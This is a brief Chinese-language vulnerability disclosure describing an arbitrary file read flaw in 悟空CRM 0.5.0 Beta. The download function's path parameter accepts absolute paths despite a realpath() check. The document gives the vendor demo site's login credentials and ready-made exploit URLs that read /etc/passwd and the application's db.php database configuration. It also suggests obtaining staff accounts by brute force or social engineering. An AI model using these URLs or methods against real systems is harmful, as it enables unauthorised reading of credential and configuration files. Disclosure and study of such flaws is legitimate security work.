悟空CRM 0.5.0 Beta版
$_GET['path']和$_GET['name']未过滤后调用download函数,跟踪查看函数代码。
$filePath = realpath($file);做了路径过滤,不准出现../来绕过路径限制,但是紧接着执行$fp = fopen($filePath,'rb');就使得过滤毫无作用。因为可以传递一个绝对路径,直接造成任意文件遍历。
可以看到参数传递过程是这样的,$_GET['path'] -> $file -> $filePath ->fopen($filePath,'rb')
拿官网提供的示例页面证明:
http://crm.demo.5kcrm.com
账号:admin 密码:123456a 登陆。
(CRM系统只有登陆界面在未登录状态可访问,所以本漏洞至少需要一个普通权限账号才可验证,由于员工账号安全性较低,可通过爆破或社工手段获得)
登陆后打开:http://crm.demo.5kcrm.com/index.php?m=file&a=filedownload&path=/etc/passwd&name=test.test
http://crm.demo.5kcrm.com/index.php?m=file&a=filedownload&path=./App/Conf/db.php&name=test.test